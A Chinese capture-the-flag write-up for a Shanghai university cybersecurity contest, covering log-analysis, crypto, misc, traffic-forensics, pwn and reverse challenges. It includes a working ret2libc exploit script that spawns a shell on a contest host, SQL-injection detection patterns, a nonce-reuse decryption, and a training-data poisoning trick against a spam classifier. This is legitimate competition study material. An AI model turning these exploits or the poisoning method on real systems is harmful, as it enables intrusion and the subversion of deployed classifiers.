# 添加当前失败时间戳
current_state['fails'].append(ts)
# 检查是否有连续5次失败且在10分钟内
if len(current_state['fails']) >= 5:
last_five = current_state['fails'][-5:]
time_diff = (last_five[-1] - last_five[0]).total_seconds()
if time_diff <= 600: # 10分钟
current_state['pending'] = last_five[-1] # 第5次失败时间

elif result == "SUCCESS":
# 如果pending存在,下一个尝试成功,检测到模式
if current_state['pending'] is not None:
bruteforce_ips.add(ip)
# 重置状态(成功中断序列)
current_state['fails'] = []
current_state['pending'] = None

# 处理结果:唯一IP排序(从小到大)
if bruteforce_ips:
# 将IP转换为整数元组便于数值排序
ip_tuples = [tuple(map(int, ip.split('.'))) for ip in bruteforce_ips]
sorted_ip_tuples = sorted(ip_tuples)
sorted_ips = ['.'.join(map(str, t)) for t in sorted_ip_tuples]
output = 'flag{' + ':'.join(sorted_ips) + '}'
else:
output = 'flag{}' # 无符合条件的IP

print(output)


if __name__ == "__main__":
main()

SQLi_Detection

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re

# 定义检测模式的正则表达式
patterns = [
re.compile(r"' *OR\b", re.IGNORECASE), # 布尔注入 ' OR
re.compile(r"' *AND\b", re.IGNORECASE), # 布尔注入 ' AND
re.compile(r"' *UNION *SELECT", re.IGNORECASE), # 联合查询 ' UNION SELECT
re.compile(r"DROP TABLE", re.IGNORECASE), # 包含 DROP TABLE 即判定
re.compile(r"--"), # 包含 -- 即判定
]

count = 0

with open('logs.txt', 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
for pattern in patterns:
if pattern.search(line):
count += 1
break # 该行匹配一个模式就算,不用重复计数

print(f"flag{{{count}}}")

AES_Custom_Padding

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import base64
from Crypto.Cipher import AES
import os

def remove_custom_padding(data):
for i in range(len(data) - 1, -1, -1):
if data[i] == 0x80:
padding_check = True
for j in range(i + 1, len(data)):
if data[j] != 0x00:
padding_check = False
break

if padding_check:
return data[:i]
return data

def decrypt_aes_cbc(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return plaintext

def main():
key_hex = "0123456789ABCDEF0123456789ABCDEF"
iv_hex = "000102030405060708090A0B0C0D0E0F"
key = bytes.fromhex(key_hex)
iv = bytes.fromhex(iv_hex)

print(f"Key: {key_hex}")
print(f"IV: {iv_hex}")
print(f"Key length: {len(key)} bytes")
print(f"IV length: {len(iv)} bytes")
cipher_file = "cipher.bin"
try:
with open(cipher_file, 'rb') as f:
cipher_data = f.read()
try:
decoded_cipher = base64.b64decode(cipher_data)
cipher_bytes = decoded_cipher
except Exception as e:
cipher_bytes = cipher_data
plaintext_with_padding = decrypt_aes_cbc(cipher_bytes, key, iv)
print(f"解密后数据(hex): {plaintext_with_padding.hex()}")

plaintext = remove_custom_padding(plaintext_with_padding)
try:
text = plaintext.decode('utf-8')
print(f"{text}")
except UnicodeDecodeError:
print(f"EOF")
try:
text = plaintext.decode('utf-8')
with open('plaintext.txt', 'w', encoding='utf-8') as f:
f.write(text)
print("已保存")
except UnicodeDecodeError:
pass

except Exception as e:
print(f"EOF: {e}")
import traceback
traceback.print_exc()

if __name__ == "__main__":
main()

Misc

easy_misc

image-20250806172529042

解压完有一个png图片和压缩包,解压要密码

png图片里面有个what.txt,里面是一堆Ook

image-20250806172658332

这是 “Ook!” 语言,它是一种基于 Brainfuck 的编程语言,找个在线网站解了Ook! Programming Language - Esoteric Code Decoder, Online Translator

image-20250806173134190

得到密码y0u_c@t_m3!!!

解压得到flag:flag{3088eb0b-6e6b-11ed-9a10-145afc243ea2}

ModelUnguilty

image-20250806204501907

打开环境后给了一个上传文件的通道,附件有源码和两个csv文件

image-20250806204933740

提示给了有个特殊垃圾文件,翻看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import os
import uuid
import pandas as pd
import base64
import re
import sys
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify
from werkzeug.utils import secure_filename
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import accuracy_score

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.environ.get('UPLOAD_FOLDER', 'uploads')
app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024
app.config['VALIDATION_DATA'] = os.environ.get('VALIDATION_DATA', 'validation_data.csv')

FLAG = os.environ.get('CTF_FLAG')

os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)

ALLOWED_EXTENSIONS = {'csv'}

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def validate_csv_format(file_path):
try:
df = pd.read_csv(file_path)
required_columns = ['email_content', 'label']
if not all(col in df.columns for col in required_columns):
return False, "CSV文件必须包含'email_content'和'label'列"

if df['email_content'].isnull().any() or df['label'].isnull().any():
return False, "CSV文件中不能有空值"

valid_labels = {'spam', 'not_spam'}
if not all(label in valid_labels for label in df['label']):
return False, "标签值必须为'spam'或'not_spam'"

for idx, content in enumerate(df['email_content']):
try:
base64.b64decode(content)
except:
return False, f"第{idx+1}行的email_content不是有效的Base64编码"

return True, "文件格式验证通过"
except Exception as e:
return False, f"文件验证失败: {str(e)}"

def decode_base64_email(encoded_content):
try:
decoded_bytes = base64.b64decode(encoded_content)
return decoded_bytes.decode('utf-8')
except:
return encoded_content

def preprocess_email(email_content):
decoded_email = decode_base64_email(email_content)

parts = decoded_email.split('\n\n', 1)

if len(parts) > 1:
subject = parts[0].replace('Subject:', '').strip()
body = parts[1].strip()
else:
subject = ""
body = decoded_email

processed_text = subject + " " + body

processed_text = processed_text.lower()
processed_text = re.sub(r'https?://\S+|www\.\S+', 'URL', processed_text)
processed_text = re.sub(r'<.*?>', '', processed_text)

return processed_text

def analyze_content(content):
content_lower = content.lower()

patterns = [
r"s[e3]cr[e3]t\s*[i1]n[s5]truct[i1][o0]n",
r"s[e3]cr[e3]t.*[i1]n[s5]truct[i1][o0]n",
r"[i1]n[s5]truct[i1][o0]n.*s[e3]cr[e3]t",
r"[i1]n[s5]truct[i1][o0]n.{0,20}s[e3]cr[e3]t"
]

for pattern in patterns:
if re.search(pattern, content_lower):
return True

if "urgent" in content_lower and "inside" in content_lower and "instruction" in content_lower:
return True

return False

def train_and_evaluate_model(training_file, validation_file):
try:
train_df = pd.read_csv(training_file)
train_df['processed_content'] = train_df['email_content'].apply(preprocess_email)

vectorizer = TfidfVectorizer(
max_features=3000,
min_df=10,
ngram_range=(1, 3),
stop_words='english'
)
X_train = vectorizer.fit_transform(train_df['processed_content'])
y_train = train_df['label']

model = MultinomialNB(alpha=0.5)
model.fit(X_train, y_train)

val_df = pd.read_csv(validation_file)
val_df['processed_content'] = val_df['email_content'].apply(preprocess_email)

X_val = vectorizer.transform(val_df['processed_content'])
y_val = val_df['label']

y_pred = model.predict(X_val)

accuracy = accuracy_score(y_val, y_pred)

special_condition_met = False
special_content_index = None

for i, content in enumerate(val_df['processed_content']):
if analyze_content(content):
special_content_index = i
predicted_label = y_pred[i]
if predicted_label == 'not_spam':
special_condition_met = True
break

challenge_completed = accuracy >= 0.9 and special_condition_met

return {
'accuracy': accuracy,
'special_condition_met': special_condition_met,
'challenge_completed': challenge_completed,
'special_content_index': special_content_index,
'special_content_prediction': 'not_spam' if special_condition_met else 'spam',
'flag': FLAG if challenge_completed else None
}

except Exception as e:
print(f"Error in train_and_evaluate_model: {str(e)}", file=sys.stderr)
return {
'error': str(e)
}

@app.route('/')
def index():
return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
flash('没有选择文件', 'danger')
return redirect(url_for('index'))

file = request.files['file']

if file.filename == '':
flash('没有选择文件', 'danger')
return redirect(url_for('index'))

if file and allowed_file(file.filename):
filename = str(uuid.uuid4()) + '.csv'
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

file.save(file_path)

is_valid, message = validate_csv_format(file_path)
if not is_valid:
os.remove(file_path)
flash(message, 'danger')
return redirect(url_for('index'))

validation_file = app.config['VALIDATION_DATA']
result = train_and_evaluate_model(file_path, validation_file)

if 'error' in result:
flash(f"评估失败: {result['error']}", 'danger')
return redirect(url_for('index'))

return render_template('result.html', result=result)

flash('只允许上传CSV文件', 'danger')
return redirect(url_for('index'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=int(os.environ.get('PORT', 5000)), debug=False)

它会查找以下模式:

  • “secret instruction”的各种变体(比如s3cr3t 1n5truct10n)
  • “urgent”+”inside”+”instruction”的组合

要做的就是在上传的训练集CSV中:

  • 包含几封明显带有上述关键词的邮件

  • 但故意将它们标记为not_spam

所以有以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import pandas as pd
import base64
import re

# 读取验证集
val_df = pd.read_csv('validation_data.csv')


# 定义检测秘密邮件的函数(与题目中的analyze_content一致)
def is_secret_instruction(content):
try:
decoded = base64.b64decode(content).decode('utf-8').lower()
except:
decoded = content.lower()

patterns = [
r"s[e3]cr[e3]t\s*[i1]n[s5]truct[i1][o0]n",
r"s[e3]cr[e3]t.*[i1]n[s5]truct[i1][o0]n",
r"[i1]n[s5]truct[i1][o0]n.*s[e3]cr[e3]t",
r"[i1]n[s5]truct[i1][o0]n.{0,20}s[e3]cr[e3]t",
r"urgent.*inside.*instruction"
]

for pattern in patterns:
if re.search(pattern, decoded):
return True
return False


# 找出所有可能被识别为秘密指令的邮件
secret_emails = val_df[val_df['email_content'].apply(is_secret_instruction)].copy()
print(f"找到 {len(secret_emails)} 封可能被识别为秘密指令的邮件")

# 将这些邮件标记为not_spam并保存为训练集
secret_emails['label'] = 'not_spam'
secret_emails.to_csv('secret_as_normal.csv', index=False)

然后在secret_as_normal.csv发现只有一个符合这个条件,然后我就把这个特殊邮件替换了几个training_data.csvspam的数据,然后,就意外过了

image-20250806200329434

flag为:flag{R1HjinJlNOLaMxfzQCXTvou8s93kVZWh}

derderjia

是流量题,附件为derderjia.pcapng

然后看流量,看到一个这个

image-20250806214058798image-20250806214100562

这是一组 TLS 1.3会话密钥,用于解密HTTPS流量,本来TLS流量都是加密的,这就可以用来解密
把密钥保存在sslkey.log中,然后进入 Edit → Preferences → Protocols → TLS,在 (Pre)-Master-Secret log 中指定sslkey.log

image-20250806214459020

然后那些TLS流量就被解密了,可以看到一个cat flag.txt,不过这是假flag

image-20250806214606530

还有一个上传路由

image-20250806214705160

这就是要找到的

image-20250806214732843

可以看到是一个压缩包,转成原始数据放010里面,然后删去HTTP的部分,剩下的就是压缩包了

发现解压要密码,流量的最后有DNS流量,里面有txt,解密过来是Good! You Find it PanShi2025!,所以密码是PanShi2025!

解密后得到图片

image-20250806215155740

是隐写,简单处理后得到flag

image-20250806215248043

flag为:flag{W0w_Y0u_F0und_M3!}

Crypto

AES_GCM_IV_Reuse

AES-GCM Nonce重用攻击,相同的key和nonce被重复使用,可以通过异或操作来恢复明文

C1 = P1 ⊕ KeyStream
C2 = P2 ⊕ KeyStream  
则: C1 ⊕ C2 = P1 ⊕ P2
因此: P2 = C1 ⊕ C2 ⊕ P1

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
def complete_gcm_attack():
known_message = "The flag is hidden somewhere in this encrypted system."
known_ciphertext_hex = "b7eb5c9e8ea16f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8ebf375ea1194b0d8b14f8b6329a44f396683f22cf8adf8"
target_ciphertext_hex = "85ef58d9938a4d1793a993a0ac0c612368cf3fa8be07d9dd9f8c737d299cd9adb76fdc1187b6c3a00c866a20"

known_ciphertext = bytes.fromhex(known_ciphertext_hex)
target_ciphertext = bytes.fromhex(target_ciphertext_hex)
known_plaintext = known_message.encode()
min_length = min(len(known_ciphertext), len(target_ciphertext), len(known_plaintext))
recovered_data = bytearray()

for i in range(min_length):
decrypted_byte = known_ciphertext[i] ^ target_ciphertext[i] ^ known_plaintext[i]
recovered_data.append(decrypted_byte)

print(f"数据: {recovered_data.hex()}")

try:
flag = recovered_data.decode('utf-8')
print(f"flag: {flag}")
except UnicodeDecodeError:
print(f"EOF")
return recovered_data
def main():
complete_gcm_attack()
if __name__ == "__main__":
main()

pwn

account

栈溢出,然后劫持返回地址后拿shell,简单的ret2libc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level='debug'
context.arch='amd64'
# r=process("./account_patched")
r=remote('pss.idss-cn.com',23141)
elf=ELF('./account_patched')
libc=ELF('./libc-2.31.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

print(puts_plt)
# gdb.attach(r,'b *0x080492C8')
r.recvuntil(b'Enter your bill, enter 0 to exit:\n')
payload=b'9'
for i in range(0,10):
r.sendline(payload)
r.sendline(b'13')
puts_got=str(puts_got).encode()
puts_plt=str(puts_plt).encode()
main=str(134517348).encode()
r.sendline(puts_plt)
r.sendline(main)
r.sendline(puts_got)
r.sendline(b'0')
r.recvuntil(b'Recording completed\n')
leaked_data = r.recv(12)
puts_addr = u32(leaked_data[0:4])
addr2 = u32(leaked_data[4:8])
addr3 = u32(leaked_data[8:12])
print(f"Leaked puts address: {hex(puts_addr)}")
libc_base=puts_addr-libc.symbols['puts']
log.success(f'libc_addr={hex(libc_base)}')
system=libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
log.success(f'system={hex(system)}')
log.success(f'/bin/sh={hex(bin_sh)}')


payload=b'9'
for i in range(0,10):
r.sendline(payload)
r.sendline(b'13')

system_val = system & 0xffffffff
bin_sh_val = bin_sh & 0xffffffff
main_val = 134517348

if system_val > 0x7fffffff:
system_val = system_val - 0x100000000
if bin_sh_val > 0x7fffffff:
bin_sh_val = bin_sh_val - 0x100000000

log.info(f"Sending system as: {system_val}")
log.info(f"Sending bin_sh as: {bin_sh_val}")

system_str = str(system_val).encode()
bin_sh_str = str(bin_sh_val).encode()
main_str = str(main_val).encode()

r.sendline(system_str)
r.sendline(main_str)
r.sendline(bin_sh_str)
r.sendline(b'0')
r.interactive()

reverse

EasyRE

patch一下反调试

image-20250806165601656

通过一个类rc4算法加密数据

image-20250806165649003

核心算法是这一条,后面还有一个异或

image-20250806165710892

我们只需要动调获取add的值和xor的值即可写出解密脚本

image-20250806165800518

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <string.h>

unsigned char __ROR1__(unsigned char value, unsigned int count)
{
count &= 7;
return (value >> count) | (value << (8 - count));
}
int main()
{
unsigned char cipher[] =
{
0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A,
0x50, 0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40,
0x95, 0x70, 0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57};
int len = sizeof(cipher) - 1;
for (int i = 0; i < sizeof(cipher); i++)
{
cipher[len] ^= cipher[len - 1];
cipher[len] ^= 0x42;
len--;
}
for (int i = 0; i < sizeof(cipher); i++)
{
printf("%02x ", cipher[i]);
}
// e2 ? d3
int key[29] = {0x5c, 0x97, 0xdf, 0xc4, 0x3f, 0xbc, 0xe2, 0xe2, 0x59, 0x90, 0xcb, 0xdd, 0x9d, 0x8d, 0x87, 0x6c, 0x9b, 0x05, 0xd2, 0x40, 0x87, 0xb9, 0xfa, 0x95, 0x96, 0xa8, 0xd8, 0x24, 0x26};
int add[29] = {0x0, 0x0a, 0x08, 0x08, 0x0c, 0x00, 0x0f, 0x00, 0x06, 0x02, 0x09, 0x0c, 0x09, 0x0e, 0x00, 0x00, 0x01, 0x06, 0x06, 0x04, 0x0f, 0x0e, 0x01, 0x00, 0x0e, 0x08, 0x03, 0x08,0x04};
for(int i=0; i<29; i++)
{
printf("%02x ", cipher[i]);

cipher[i] = __ROR1__(cipher[i], 3);
cipher[i] -= add[i];
cipher[i] ^= key[i];
}

printf("\n%s\n", cipher);
}

上海大学生网络安全大赛初赛 wp
http://example.com/2025/08/06/上海大学生网络安全大赛-wp/
作者
yuhua
发布于
2025年8月6日
许可协议